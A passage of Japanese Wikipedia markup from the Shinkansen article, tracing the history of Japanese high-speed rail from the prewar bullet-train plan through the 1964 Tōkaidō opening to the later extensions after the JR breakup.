:; 「[[とき (列車)|あさひ]]」
:: 速達型列車として設定されたが、長野新幹線開業後は越後湯沢駅以北の区間を走行する列車の統一名称となった。「あさま」と名称が紛らわしいため、2002年12月1日のダイヤ改正で「とき」と改称された。ただし、前述の「たにがわ」に該当する列車は、それ以前から改称されていた。
; 秋田新幹線
:; 「[[こまち (列車)|スーパーこまち]]」
:: [[新幹線E3系電車|E3系0番台]]から[[新幹線E6系電車|E6系]]への置き換えの過渡期に設定された愛称。E6系で東北新幹線を300 km/hで運行する列車を区別するためのもので、E6系への置き換えが完了した[[2014年]][[3月15日]]のダイヤ改正で全て「こまち」に戻された。
== 歴史 ==
=== 経緯・背景 ===
==== 戦前における高速鉄道 ====
日本の鉄道は[[明治]]時代の草創期にコストの面から[[狭軌]]を採用したため、その規格の低さに加えて地形的な事情から勾配や曲線が多いなどの制約を受け、[[欧米]]の鉄道のような高速運転とは無縁であった。最高速度は[[1910年代]]から[[1950年代]]まで100 km/h以下に留まっていた。
そこで[[標準軌]]に[[改軌]]する提案も、[[明治]]から[[大正]]にかけて何度か出されていたが、政争や予算問題などから結局実現しなかった([[日本の改軌論争]]も参照)。
また1910年代には、東京 - 大阪間に電車による高速新路線「[[日本電気鉄道]]」を敷設する計画が民間から出されたが、国の許可するところとならず、実現には至っていない。
日本における現実的な高速列車開発は、日本の勢力下にあった[[満洲]](現在の[[中国東北部]])を縦断する[[南満洲鉄道]](満鉄)に始まる。同社は日本の[[資本]]と技術により運営されており、ほとんどの幹部・技術者が[[日本人]]で、実質的に日本の鉄道と言っても過言ではない。
当時の満鉄は電化以前の鉄道で[[蒸気機関車]]牽引であったが、1,435 mmの国際標準軌(日本では広軌と称した)を用いた高規格路線であり、保守的な[[内地|日本内地]]の[[鉄道省]]とは一線を画した先進的な試みを早くから行っていた。
[[1934年]](昭和9年/[[康徳]]元年)、満鉄は自社設計によって当時の欧米の潮流に互した[[流線形車両|流線形]]蒸気機関車「[[南満洲鉄道の車両#急行旅客用|パシナ形]]」を開発、これに新開発の流線形客車編成を組み合わせ、[[大連市|大連]] - [[新京]](現・[[長春市|長春]])間701 kmに特急「[[あじあ (列車)|あじあ]]」号を運転開始した。この列車は最高速度120 km/h以上を誇り、最高95 km/hに留まる鉄道省の列車をはるかに凌駕した。所要8時間30分、[[表定速度]]は82 km/hに達した。
とはいえ、当時の[[欧米]]の鉄道はさらに上を行っていた。例えば[[イギリス]]の[[ロンドン・アンド・ノース・イースタン鉄道]](LNER)が[[ロンドン]] - [[エディンバラ]]間に運転していた特急列車「[[フライング・スコッツマン]]」は、蒸気機関車牽引で最高速度160 km/h以上での営業運転を行っており、[[ドイツ国営鉄道|ドイツ国鉄]]では[[気動車]]列車「[[フリーゲンダー・ハンブルガー]]」が150 km/h 以上の高速で営業運転していた。さらに[[アメリカ合衆国|アメリカ]]の私鉄各社には、定期運転列車を牽引して、最高速度は優に180 km/hに達する蒸気機関車さえ存在していたのである。
「あじあ」号は全客車[[エア・コンディショナー|冷暖房]]完備など世界の最先端を行っていた部分もあったが、120 km/h運転そのものは、当時の欧米の主要幹線での標準的な水準に達したものでしかなかった。
この技術が、日本本土の鉄道に直接生かされることはなかった。しかし満鉄関係者には鉄道技術者の[[島安次郎]]がおり、その長男の[[島秀雄]]と共に後述する「[[#弾丸列車計画|弾丸列車計画]]」を推し進めることになる。
なお、前述した日本電気鉄道のように、民間による大規模な都市間電車は実現しなかったが、中近距離の都市間電車に関しては、[[新京阪鉄道]]<ref group="注">新京阪鉄道は、最終的な目標として名古屋までの延伸も視野に入れて建設され、名阪間を最高速度120 km/h、所要時間2時間で結ぶ構想も持っていたが、疑獄事件や不況などの影響もあって名古屋延伸構想は挫折した([[名古屋急行電鉄]]の記事も参照)。</ref>や[[阪神急行電鉄]]、[[大阪電気軌道|参宮急行電鉄]]、[[阪和電気鉄道]]のように、アメリカの[[インターアーバン]]の技術を取り入れるなどして実現させた所もあった。これら路線の多くは、既存の鉄道線と競合する形で敷設されたものとなっており、「(既存の並行線よりも)高規格な路線において、高速運転を行うこと」がその建設目的となっていた。「新しい高規格線を敷く」という意味では、新幹線に通じる所もある。<!--川島令三、所澤秀樹の著作参照-->
その中でも、参宮急行電鉄が転じた関西急行鉄道は途中に[[伊勢中川駅]]での乗り換えこそあるものの、[[大阪市|大阪]]と[[名古屋市|名古屋]]という中距離の2大都市間(当時の[[営業キロ]]で189.5 km)を電車で結ぶことに成功しており、また阪和電気鉄道は「あじあ」号の水準に匹敵する、[[表定速度]]81.6 km/hの「[[超特急]]」を狭軌路線で運転していた。
これらの私鉄で用いられた電車はハイレベルな仕様の車両が多く([[新京阪鉄道P-6形電車|新京阪P-6形]]、[[参宮急行電鉄2200系電車|参急2200系]]、[[阪和電気鉄道の車両|阪和モヨ100形]]など)、後述する国鉄における動力分散方式の開発にも、いくらか影響を与えている。
==== 弾丸列車計画 ====
{{main|弾丸列車}}
1930年代に入ると、[[満洲事変]]や[[日中戦争]]の激化などにより、日本から中国や満洲国へ向かう各種物資輸送需要の激増で、[[東海道本線|東海道]]・[[山陽本線]]の輸送量も増大した。
このころ鉄道省内部に「鉄道幹線調査会」が設立され、主要幹線の輸送力強化についての検討が行われた。ここから抜本的な輸送力増強手段として1939年に発案されたのが「'''[[弾丸列車|弾丸列車計画]]'''」であった。
これは、東京から[[下関市|下関]]まで在来の東海道・山陽本線とは別に[[広軌]](1,435 mm・[[標準軌]])の新路線を建設し、最高速度200 km/hと満鉄「あじあ」号を超える高速運転を行い、東京 - 大阪間を4時間、東京 - 下関間を9時間で結ぶことを計画したものであった。この計画は翌[[1940年]](昭和15年)9月に承認され、建設工事が始められることになった。
すでにこの時点で、新しい幹線を敷設するということから「'''新幹線'''」や「'''広軌新線'''」という呼称を内部関係者は用いていた。「新幹線」の語はここが起源であるとされている。
また将来的には[[対馬海峡]]に[[日韓トンネル|海底トンネル]]を建設して、統治下である[[朝鮮半島]]へ直通、[[釜山広域市|釜山]]から奉天(現:[[瀋陽市|瀋陽]])を通り[[満洲国]]の[[首都]]新京(現:長春)、さらには[[北京市|北京]]・[[日本占領時期のシンガポール|昭南]](現:[[シンガポール]])に至る、という構想も一部では描かれていた。
当時の鉄道では、日本においてもまだ機関車が客車を牽引する方式が一般的であったうえ、完全電化したものの、発電所が敵国からの攻撃を受けた場合の対処について軍からクレームを受けたために、「弾丸列車」も電気機関車と蒸気機関車を併用する方式で計画された。
[[1941年]]12月の[[太平洋戦争]]勃発後も工事は続けられ、[[日本坂トンネル#東海道新幹線日本坂トンネル|日本坂トンネル]]や[[新丹那トンネル]]が、[[1942年]]には[[東山トンネル]]の工事が着工したが、最終的には戦況の悪化で中断した(その後再開され新幹線に利用)。しかし、そのルートの相当部分が後の東海道新幹線建設で役立てられた。特に、土地買収が戦時中の時点で半ば強制的な形で相当な区間において終わっていたことは、新幹線建設をスムーズにした。
この弾丸列車計画の技師たちが居住した地として、[[静岡県]][[田方郡]][[函南町]]には「[[#地名における「新幹線」|新幹線]]」という地名が、東海道新幹線の開業前から存在した。
==== 動力分散化への流れ ====
太平洋戦争終結後数年間、鉄道をも含めて混乱の極みにあった日本も、[[1950年]](昭和25年)の[[朝鮮戦争]]以降本格的に復興し、鉄道の都市間輸送需要も急激に伸張していった。
旧[[日本軍]]の研究部門や軍需企業、旧[[南満洲鉄道]]に所属し、戦後その職を失ったり技術を持て余していた優秀な人材を、昭和20年代の国鉄が多数獲得したことは見逃せない事実である。高速走行中の車両の振動や、空力特性の研究は、旧軍出身技術者の存在によって大きく進展した。
[[1955年]](昭和30年)に[[日本国有鉄道#歴代の国鉄総裁|国鉄総裁]]に就任した[[十河信二]]は、国鉄出身の卓越した技術者であるが一時民間にあった[[島秀雄]]を再度招聘し、国鉄技師長に就任させた。彼らを中心とする人々が、その後新幹線計画を推進することになる。
地盤が悪く山がちな日本において列車を高速運転するには、[[機関車]]が客車を牽引する「[[動力集中方式]]」よりも、[[電車]]・[[気動車]]のように編成の各車両に動力を持たせる「[[動力分散方式]]」の方が適している。カーブや勾配の多い条件でも加減速能力に優れ、また線路への負担が小さいため、脆弱な地盤に敷かれた線路でも高速を出せるからである。当時は蒸気機関車主流の時代であり、また国際的に見ても主流であることから、国鉄部内でも動力集中式に固執する者が多かったが、島秀雄は例外的に戦前から動力分散方式の特性を理解し、研究していた。
島は[[1951年]](昭和26年)に事情によって国鉄を離れていたが、彼の指揮の下で[[1950年]](昭和25年)に開発された東海道線普通列車用の[[国鉄80系電車|80系電車]]は、短距離向けと見られていた電車が、長距離運転にも優れた特性を発揮するという事実を実証し、その後国鉄の在来線に電車・気動車の普及を進める原動力となった。島の復帰以降、国鉄の動力分散化の流れはさらに加速する。
=== 1950年代の高性能電車の出現 ===
日本では[[1953年]](昭和28年)以降、欧米からの新技術移入や国内メーカーの技術開発に伴い、電車の高性能化の動きが始まった。
この過程で、振動を抑制し、乗り心地改善と高速運転に資する「[[カルダン駆動方式]]」と高速対応の新型台車、床面シャーシだけでなく側板や天井にも応力を分散させた「全金属製軽量車体」、全車両にモーターを搭載して加速力を高める「全電動車方式」、反応速度が速い上に取り扱いが容易な「[[電磁直通ブレーキ]]機構」、制御装置1台を2両の電動車で共用して軽量化やコストダウンを実現する「1C8M方式(MM'ユニット方式)」など、それ以前の電車とは一線を画する重要な革新的技術が、1953年(昭和28年)からわずか数年の間に実用化された。
この結果、高速性能・加減速性能に優れ、しかも居住性の良い高性能電車が、[[1954年]](昭和29年)以降[[大手私鉄]]を中心に続々と出現して、大きな技術的成功を収めた。国鉄もこの潮流に乗って高性能電車の開発に取り組み、[[1957年]](昭和32年)に新型通勤電車[[国鉄101系電車|モハ90系]](後の101系)を完成させる。
[[ファイル:Model 3000 SE of Odakyu Electric Railway.JPG|thumb|right|200px|[[小田急ロマンスカー]]3000形SE]]
同年に[[小田急電鉄]]が完成させた低重心・連接構造の流線型特急電車[[小田急3000形電車 (初代)|3000形「SE車」]]は、[[鉄道技術研究所]]の技術指導を受けて設計された<ref name="1981-115">[[#生方1981|『日本の私鉄5 小田急』 p.115]]</ref>車両で、最高速度145 km/hを目指した野心作であった。しかし、曲線の多い小田急の路線ではその高速性能は十分に発揮できなかった<ref name="2009-188">[[#青田2009|『ゼロ戦から夢の超特急 小田急SE車世界新記録誕生秘話』 p.188]]</ref>ため、小田急から国鉄に対して、試験で収集されたデータを小田急と国鉄の双方で利用することを条件として<ref name="2009-188"/>、軌道条件の優れている国鉄の路線上での走行試験について申し入れがあった<ref name="shima160">[[#高橋2000|『新幹線をつくった男 島秀雄物語』 p.160]]</ref>。
国鉄はこの申し入れに対して快諾<ref name="shima160-161">[[#高橋2000|『新幹線をつくった男 島秀雄物語』 pp.160-161]]</ref>、小田急からSE車を借り入れ、1957年(昭和32年)9月に東海道本線で速度試験を行った。結果SE車は計画通りの145 km/hに到達し<ref name="2009-15">[[#青田2009|『ゼロ戦から夢の超特急 小田急SE車世界新記録誕生秘話』 p.15]]</ref>、当時の狭軌鉄道における世界速度記録を達成した。続いて国鉄はモハ90系通勤電車をギア比変更などで高速化改造、空気抵抗の面で不利な形態ながら135 km/hの好記録を達成した。
これらの実績を踏まえて、[[1958年]](昭和33年)にはモハ90系の技術を応用し、東海道本線特急「こだま号」用に国鉄初の特急形電車[[国鉄181系電車|モハ20系]](後の151系)が開発された。流線型の軽量・低重心な車体は冷暖房完備で、空気ばね台車も装備し、スピードと快適な乗り心地を両立させて、動力集中方式の客車列車を完全に凌駕した。翌1959年7月には、東海道本線での速度試験で通常編成(4M4Tの8両編成)からデッドウェイトとなる付随車2両を抜いた6両編成で最高速度163 km/hに達し、小田急SE車の速度記録を更新した。
これらの電車における顕著な成績は、動力分散方式の資質を実証し、ひいては新幹線車両に電車を用いることへの強力な裏付けとなった。
[[1955年]](昭和30年)から国鉄は[[交流電化]]方式の実用化に独自に取り組む。同年国鉄代表団はフランス[[パリ]]で、狭軌用交流機関車を買いつける算段をするが、日本側は技術研究のための5両程度の買い付け意欲しかみせず、交渉は決裂<ref>[https://megalodon.jp/2011-0902-0430-51/jinf.jp/articles/archives/5565 黎明期の新幹線と中国高速鉄道 平川祐弘] 東京大学名誉教授 平川祐弘 国家基本問題研究所</ref>。日本では同年中に独自開発による商用周波数の単相交流(20 kV 50 Hz)を使用する電気機関車2両([[国鉄ED45形電気機関車|ED44 1]]([[日立製作所]]製)・[[国鉄ED45形電気機関車|ED45 1]]([[三菱電機]]・[[三菱重工業|新三菱重工業]]製))の試作に成功する。
これらの試作車による研究成果を受けて、国鉄は1957年の[[北陸本線]]を皮切りに、地方線区での交流電化を開始した。これ自体は従来の[[直流電化]]に比べ、変電所間隔を長くできることから地上設備コストが低いと考えられたことによるものであったが、後に新幹線の電化システムに応用されることになる。超高速の電気鉄道においては大量の電力消費が生じ、これに伴って[[架線]]から効率よく集電するには、従来から用いられて来た1,500 [[ボルト (単位)|V]]の直流電源より、大電力を長距離送電できる高圧交流電源を用いる方が適していたのである(日本の鉄道の交流電化方式は[[在来線]]20 [[キロ|k]]V、新幹線25 kVで、電圧だけでも直流電化路線の10倍以上のレベルである)。
=== 幹線調査会と鉄道技術研究所の活動と建設計画承認 ===
戦後の復興と共に鉄道および道路輸送の需要が増大すると、当時の日本における最重要幹線であった東海道本線の貨客輸送能力は、ほぼ限界に達していた。[[1956年]]に東海道本線の全線電化が完成するが、需要の増加には焼け石に水であった。
[[1957年]](昭和32年)、国鉄内部の「幹線調査会」は、東海道本線の輸送力飽和は早晩必至とし、現在線以外の線路増設が必要であると答申した。実際の手法としてさまざまな案が出されたが、基本的に以下の3案のいずれかが選択されることになった。
# 現在線に沿って線路を増設、[[複々線]]とする。
# 別ルートで狭軌新線を建設する。
# 別ルートで広軌新線を建設する。
東海道の線増計画は、従来の常道であれば複々線案が採られたところであった。しかし、十河ら国鉄幹部は将来の発展性を視野に入れ、あえて困難の多い広軌新線建設を決定したのである。それは戦前の弾丸列車計画を、戦後の技術革新の下で、改めて実現しようとする超高速列車計画であった。
同年[[5月30日]]には鉄道技術研究所(現:[[鉄道総合技術研究所]])の[[篠原武司]]所長らが、鉄道技術研究所創立50周年記念講演「[[東京 - 大阪間3時間への可能性]]」で、広軌新線ならば東京 - 大阪間の3時間運転は技術的に可能であるという報告を行った。十河はその話を聞くや強い関心を示し、国鉄幹部を集めて技術研究所員に詳細を話させたという。
当時欧米では、将来の大量輸送手段として[[航空機]]と[[高速道路]]網による高速輸送が有望視され、鉄道はそれらに取って代わられる時代遅れのものだという見解が広まっていた。日本でもこれを範としようとする向きが一般的であり、在来線とは別規格の高速新線を建設するという計画は、国鉄内部でさえも疑問視する者が多かった。
[[鉄道ファン]]でもある作家の[[阿川弘之]]ですら、[[大和 (戦艦)|戦艦大和]]([[大和型戦艦]])・[[万里の長城]]・[[ピラミッド]]が「世界三大馬鹿」であり、この時期に莫大な投資をして新幹線を造れば「第2の戦艦大和」となって世界の物笑いの種になると批判した<ref>{{Cite web|和書|url= http://trafficnews.jp/post/36146/ |title= 新幹線は「世界四バカ」 根強かった不要論 |author= [[恵知仁]] |website= 乗りものニュース |publisher= 株式会社メディア・ヴァーグ |date= 2014-09-24 |accessdate= 2020-03-28 }}</ref>(後に阿川は新幹線が世界の鉄道斜陽論を覆すに至るまでの成功を収めたのを見て、十河の後を継いで国鉄総裁を務めた[[石田礼助|石田禮助]]との対談において、自らの不明を悔やむ発言をしている)。
そのような厳しい状況下で、十河と島は東海道に新たな大規模高速輸送用の鉄道路線(新幹線)を実現すべく政治的活動(十河が担当)と、技術的プロジェクト(島らが担当)を続けた。
技術的裏付けの下、[[1958年]](昭和33年)に建設計画が承認され、翌[[1959年]](昭和34年)[[4月20日]]に起工式が行われた。総工費は当初予定から修正され、3800億円にまで膨らんだ。元々十河などが[[国会 (日本)|国会]]内での承認を得るために安く見積もっていたこと、地価高騰のあおり、さらには新幹線建設に集中するために地方路線建設の[[請願|陳情]]を蹴り[[国会議員]]の不興を買っていたこともあって、後には国会で責任問題に発展した。新幹線開業前に責任を取る形で十河は国鉄総裁を退任し、島も十河に殉じて国鉄を退職する。
[[1961年]](昭和36年)[[5月1日]]に国鉄はこのプロジェクトに対し、[[世界銀行]]から8000万[[アメリカ合衆国ドル|ドル]](当時は1ドル=360円の[[固定相場制]])の[[融資]]を受けた(この融資は[[1981年]]〈昭和56年〉に返済が完了した)。この融資を受けたことで、新幹線プロジェクトは日本の[[国家プロジェクト|国家的プロジェクト]]となり、国内事情によって中断することは許されなくなった。
その建設に関しては前述の通り、戦前の「弾丸列車計画」の際に開削された[[トンネル]]や、買収された用地の多くが活用された。5年という短期間で完成したのは、この時の用地買収および工事があったからだともいわれている。また[[大阪府]]・[[京都府]]内では、完成した新幹線の線路を高架工事中の[[仮線]]として用いて、暫定的に[[阪急京都本線]]の電車を走らせていたこともあった(→[[東海道新幹線#新幹線の線路を先に走った阪急電車|新幹線の線路を先に走った阪急電車]])。
=== モデル線鴨宮基地整備 ===
[[ファイル:Shinkansen Kamonomiya test track map.png|thumb|220px|[[モデル線|鴨宮モデル線]]]]
[[1962年]](昭和37年)には神奈川県綾瀬付近 - 小田原付近の区間が'''[[モデル線]]'''として先行整備され、[[小田原市]]鴨宮(かものみや)に'''鴨宮基地'''とそれを統括する'''モデル線管理区'''が置かれた。小田原 - 綾瀬間が試験路線に選ばれた理由は以下の通りである。
# 戦前の[[弾丸列車]]構想に際してすでに用地を取得しており、早い時期に着工する事が可能である。
# 直線・カーブ・トンネル・鉄橋と、線形や地上設備のシチュエーションが一通り揃っており、データ収集が容易である。
# 鴨宮付近では東海道本線と隣接しており、車両・資材などの搬入に便利である。
# 国立にある[[鉄道技術研究所]]からも近く、問題が発生した時も対処が容易である。
ここで2編成の試作電車「[[新幹線1000形電車|1000形]]」を用いて車両と設備のテストを繰り返し、問題点をあぶり出しては改良を重ねていった<ref>{{Cite journal|和書|author=加藤一郎 |title=新幹線用高速電動列車と基礎研究 |journal=日本機械学会誌 |issn=00214728 |publisher=日本機械学会 |year=1963 |volume=66 |issue=528 |pages=125-132 |naid=110002461550 |doi=10.1299/jsmemag.66.528_125 |url=https://doi.org/10.1299/jsmemag.66.528_125}}</ref><ref>{{Cite journal|和書|author=西尾源太郎 |title=東海道新幹線試作電車の概要 |journal=日本機械学会誌 |issn=00214728 |publisher=日本機械学会 |year=1963 |volume=66 |issue=532 |pages=688-695 |naid=110002461868 |doi=10.1299/jsmemag.66.532_688 |url=https://doi.org/10.1299/jsmemag.66.532_688}}</ref>。[[1963年]](昭和38年)[[3月30日]]の速度向上試験では、1000形B編成が256 km/hの国内速度記録を達成している。モデル線での研究は、初代量産形新幹線電車となる[[新幹線0系電車|0系]]や、線路設備の開発に生かされることになった。また、ここに中央鉄道学園小田原分所を設けて、新幹線のための乗務員と保線要員の養成も同時に行った。
しかし、このモデル線には欠点があった。[[相模湾]]に近く、冬でも比較的温暖な鴨宮では、降雪時の高速運転を想定した試験データは十分に得られなかったのである。東海道新幹線の名古屋 - 新大阪間経路は、当初計画した[[鈴鹿山脈]]経由ルートが費用や技術・工期の制約から断念され、東海道本線同様に[[関ケ原町|関ヶ原]]を経由するルートに変更されていた。関ヶ原周辺は谷間で[[高さ|標高]]も高く、さらに[[日本海側気候]]の影響で冬期には激しい降雪のある地域でもある。このような区間を冬期に高速列車で通過する状況の研究が、開業前には十分に行えなかった。このことは、1964年(昭和39年)の開業後初めての冬期に関ヶ原での着雪による車両故障を頻発させる原因となった。
このモデル線区は、設備が無駄にならないよう、建設中の路線の一部を先行完成させて利用する手法が採られ、東海道新幹線開業後は[[新横浜駅|新横浜]] - [[小田原駅|小田原]]間の一部に組み込まれている。この手法は後続の[[東北新幹線]]の小山実験線や、[[リニア実験線|リニア山梨実験線]]にも踏襲されている。小山実験線には実際に駅施設も設けられ、後に[[小山駅]]となった。現在、鴨宮基地のあった場所は保線車輌の基地となっており、その一角には新幹線モデル線を示す[[モニュメント]]が設置されている。2009年(平成21年)5月には市民の手によって、0系新幹線の前頭部をモチーフとした「新幹線発祥の地」のモニュメントが建てられた。
またテストに使われた試作電車は、東海道新幹線開業後に改造を受けた。A編成は救援車941形に、B編成は電気軌道総合試験車922-0形となり、それぞれ役立てられることになる。941形はまったく活躍することなく廃車となったが、922-0はその後0系を元とした「[[ドクターイエロー]]」が登場するまで生き永らえた。
=== 新幹線開業 ===
[[ファイル:JNR SystemMap 19641001.png|thumb|280px|旅客用時刻表に付属した、1964年10月1日より有効の英語版国鉄路線図。東海道新幹線が赤色の線で示されている]]
[[ファイル:JNR 19641001 Table1.png|thumb|220px|1964年10月1日に開業した東海道新幹線が示されている英語の国鉄旅客時刻表]]
[[ファイル:Shinkansen 0-series.jpg|thumb|220px|青とクリーム色のカラーリングの初代0系]]
[[日本国有鉄道]](国鉄)時代の[[1964年]]([[昭和]]39年)[[10月1日]]に開業した[[東海道新幹線]]が初の路線である<ref>『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.28。</ref><ref>『[[#川島 (2009)|図解雑学 くわしくわかる新幹線のしくみ]]』、p.10。</ref>。開業に先立ち、東京駅の東海道新幹線8、9番ホームの間に「0キロメートル」の[[距離標|起点標(距離標)]]が設置された。開業を1964年にしたのは、[[1964年東京オリンピック|1964年の東京オリンピック]]の開催時期に合わせたからである。
併せて専用の[[新幹線0系電車|0系]]が開発され、営業に投入された(→[[1964年10月1日国鉄ダイヤ改正]]も参照)。なお、開通に先立つ同年[[4月22日]]から[[アメリカ合衆国|アメリカ]]の[[ニューヨーク]]市で開催された[[ニューヨーク万国博覧会 (1964年)|ニューヨーク万国博覧会]]の日本館に実物大モックアップが展示され、日本の技術力を誇示した。
10月1日の東京発の一番列車(ひかり1号、運転士・山本幸一、伊月正司の2名)は定員987名のところ乗客は730名ほどであり満席ではなかった。
開業当初の営業最高速度は200km/h(東京 - 新大阪間「ひかり」4時間<ref>[[宇野俊一]]ほか編 『日本全史(ジャパン・クロニック)』 [[講談社]]、1991年、1128頁。ISBN 4-06-203994-X。</ref><ref name="tokaidoushinkansen_p50">須田寛『[[#須田 (2000)|東海道新幹線]]』p.50</ref>、「こだま」5時間<ref name="tokaidoushinkansen_p50" />)。路盤の安定を待って翌年に210km/h運転(同「ひかり」3時間10分<ref name="tokaidoushinkansen_p55" />、「こだま」4時間<ref name="tokaidoushinkansen_p55">須田寛『[[#須田 (2000)|東海道新幹線]]』p.55</ref>)を開始した(→[[1965年10月1日・11月1日国鉄ダイヤ改正]]も参照)。
日本の二大都市である東京 - 大阪間は、[[1958年]](昭和33年)から在来線の特急で日帰り可能になっていたものの、滞在時間がわずか2時間あまりしか取れなかった。しかし新幹線の開通により、日帰りでも滞在時間を充分取れるようになり、社会構造に著しい変化を及ぼした。[[ビジネス]]や[[レジャー]]の新しい需要を喚起し、東海道新幹線においては当初の12両編成が、[[1970年]](昭和45年)の[[日本万国博覧会|大阪万博]]の開幕を機に16両編成まで拡大され、高速大量輸送機関としての確固たる地位を確立した。
その一方で、新幹線の建設や特急・急行列車の増発、さらには都市部における通勤輸送増強([[通勤五方面作戦]]など)などの[[設備投資]]に追われたことから、新幹線の開業した1964年(昭和39年)度から国鉄収支は赤字に転落し、以後それは拡大する一方となり、結果的に新幹線建設は国鉄破綻の1つの原因となったと言われる。これに対し、[[東海旅客鉄道|JR東海]]の[[葛西敬之]]会長は著書の中で「東海道新幹線はあくまで内部留保された資金と借金で建設資金をまかない、それらを運賃・料金収入のみですべて回収したものであり、新幹線建設が国鉄破綻の引き金を引いたという認識は誤りだ」と指摘している。いずれにせよ、以後の国鉄において、新幹線は重要な収入源ともなっていく。
その後、東海道新幹線に続いて、同じように需要の増加していた山陽本線の抜本的輸送力改善と高速化を目的として、[[1967年]](昭和42年)に東海道新幹線を延伸する形で[[山陽新幹線]]が着工され、[[1972年]](昭和47年)[[3月15日]]に岡山まで、[[1975年]](昭和50年)[[3月10日]]には博多まで開業した(→[[1972年3月15日国鉄ダイヤ改正]]・[[1975年3月10日国鉄ダイヤ改正]]も参照)。「ひかりは西へ」がそのキャッチコピーであった。
さらに東北方面への延伸も計画された。[[1971年]](昭和46年)には[[東北新幹線]]と[[上越新幹線]]が着工され、キャッチコピーには「ひかりは北へ」が使用された(実際の開業にあたっては、「やまびこ」「あおば」「とき」「あさひ」等、東北・上越在来線特急のかつての名称を継承している)。[[1974年]](昭和49年)には建設中の[[成田国際空港|成田空港]]へのアクセス路線として[[成田新幹線]]も工事に入った。折しも[[田中角栄]][[内閣総理大臣]]によって、国土開発を促進する「[[日本列島改造論]]」が提唱され、整備は順調に進むかに見えた。
だが、実際には[[東北・上越新幹線反対運動|反対運動]]による用地買収の難航やトンネル工事での異常出水などがあり、前者2つの新幹線は予定より工事が5年も遅れ、成田新幹線に至っては工事中止となってしまった(ただし、後にJR東日本と[[京成電鉄]]の成田空港乗り入れの際にこの新幹線建設で作られた設備が生かされることになる)。また、[[名古屋新幹線訴訟]]など、新幹線沿線での[[騒音]]・[[振動]]による[[公害]]問題がこの頃深刻化した。さらに国鉄財政の悪化に伴う運賃・料金値上げの繰り返し、労働紛争による[[ストライキ]]の頻発化などから、既存新幹線の乗客が減少傾向に陥った。そして経営問題と労働紛争の影響から技術革新も見られなくなり、新幹線の発展・発達は一時停滞した。
東北新幹線と上越新幹線は[[1982年]](昭和57年)に大宮発着という暫定的な形で開業し(→[[1982年11月15日国鉄ダイヤ改正]]・[[新幹線リレー号]]も参照)、1985年(昭和60年)には用地買収の関係で遅れていた都心(上野)乗り入れを果たした(→[[1985年3月14日国鉄ダイヤ改正]]も参照)。これにより東北・上越地方における鉄道シェアは大幅に拡大した。だが、それら新幹線の建設費負担も重なって、国鉄財政はついに破局的状態となり、[[中曽根康弘|中曽根]]内閣の下で断行された[[1987年]](昭和62年)の[[国鉄分割民営化]]に至るのである。
==== JR発足後 ====
国鉄の分割・民営化、つまりJR発足後、東北・上越新幹線はJR東日本、東海道新幹線はJR東海、山陽新幹線はJR西日本の運営とされたが、当初設備は第3種[[鉄道事業者]]の「[[新幹線保有機構]]」が保有し、各会社が第2種鉄道事業者として路線を借り受けて運営する形とした。新幹線の保守費用は各社が負担し、新幹線保有機構は設備の貸し代だけを受け取るもので、利益の出る新幹線事業によって赤字となる他地域JR会社への補填を行うのが目的であった。
しかし、前記JR3社の経営が安定化して、[[東京証券取引所]]などへの[[株式公開|上場]]が視野に入ると、輸送量に応じて貸し賃が変わるこの制度のままでは会社の営業努力が反映されないことや、各社の資産・債務の額が確定できないことなどが問題視され、結局1991年(平成3年)に制度を変更し、各鉄道会社が新幹線資産を新幹線保有機構を改編した鉄道整備基金から60年賦で買い取ることにした。
分割・民営化後、技術・営業面で停滞していた新幹線も新型車両の登場、新形態など積極的な流れが見られるようになった。
後者の代表として、JR東日本は新幹線規格(フル規格)の線路を新規に建設することなく、既存の在来線を改良し、専用の車両を新造したうえで、新幹線と在来線が直通運転できるようにした[[ミニ新幹線]]を整備した。
[[1992年]](平成4年)に[[新幹線400系電車|400系]]を新造し、[[山形新幹線]]として[[奥羽本線]]の[[福島駅 (福島県)|福島駅]] - [[山形駅]]が、[[1997年]](平成9年)に[[新幹線E3系電車|E3系]]を新造し、[[秋田新幹線]]として[[田沢湖線]]・奥羽本線の[[盛岡駅]] - [[秋田駅]]が、[[1999年]](平成11年)に[[新幹線E3系電車#1000番台|E3系1000番台]]を増備し、山形新幹線の延伸として奥羽本線の山形駅 - [[新庄駅]]が、それぞれ順次営業運転を開始した。
JR西日本は山陽新幹線[[博多総合車両所]]への[[車両基地|車庫線]]を旅客線化し、[[1990年]](平成2年)に[[博多南線]]として博多駅 - [[博多南駅]]を、こだま号に使用される車両を用いる在来線特急という形態で営業運転を開始した。
また最高速度は210 km/hの時代が長く続いたが、国鉄末期頃(→[[1985年3月14日国鉄ダイヤ改正]]・[[1986年11月1日国鉄ダイヤ改正]]も参照)から次第に向上されるようになり、21世紀初頭では<!--上越新幹線区間で240 km/h、北陸新幹線、九州新幹線区間で260 km/h、-->東海道新幹線で270 km/h、山陽新幹線区間で300 km/h、東北新幹線区間で320 km/hに至っている。また時速アップ以外にも、停車駅での停車時間の短縮や、停車駅間の速度をできるだけ高速度で維持するなどして、わずかな分単位ながら、主要駅間の時間短縮を図る工夫もされている。
国鉄末期に建設が凍結されていた[[整備新幹線]]は工事が再開され、東北新幹線(2002年に八戸まで、2010年に新青森まで延伸)と[[九州新幹線|九州新幹線鹿児島ルート]](2004年に鹿児島中央 - 新八代間、2011年に新八代 - 博多間が開業)は既に全線開業、[[北陸新幹線]](1997年に「[[長野新幹線]]」として長野まで開業、2015年に金沢まで延伸)と[[北海道新幹線]](2016年に新函館北斗まで開業)が部分開業し、残った区間も工事が次第に進みつつある。
また20世紀末以降、新幹線による[[通勤]]・[[通学]]が増加した(「[[新幹線通勤]]」も参照)。これは、いわゆる[[バブル景気|バブル時代]]の大都市における地価の高騰で、新幹線で通勤・通学が可能な郊外(主に東京への通勤・通学を目的に[[栃木県]]、[[群馬県]]、[[静岡県]]東部が多い)の住宅に住む人が増えたためである。1983年(昭和58年)2月の[[定期乗車券#新幹線定期乗車券|新幹線定期乗車券]]販売開始をきっかけに、新幹線通勤定期券を支給する企業の増加、さらに企業が支給する通勤定期券代の所得税非課税限度額の引き上げがそれに輪をかけた。朝・夕の新幹線においては通勤客で混雑が激しくなり、通勤客向けのダイヤも設定されるようになった。これに対応してJR東日本では[[Max (鉄道車両)|Max]]という多座席型の[[2階建車両]]を投入し、1列車あたりの定員を大幅に増やした時期もあった。首都圏以外でも、山陽新幹線の小倉 - 博多間などで通勤・通学に新幹線を利用する者が多くなった。
== 安全性 ==
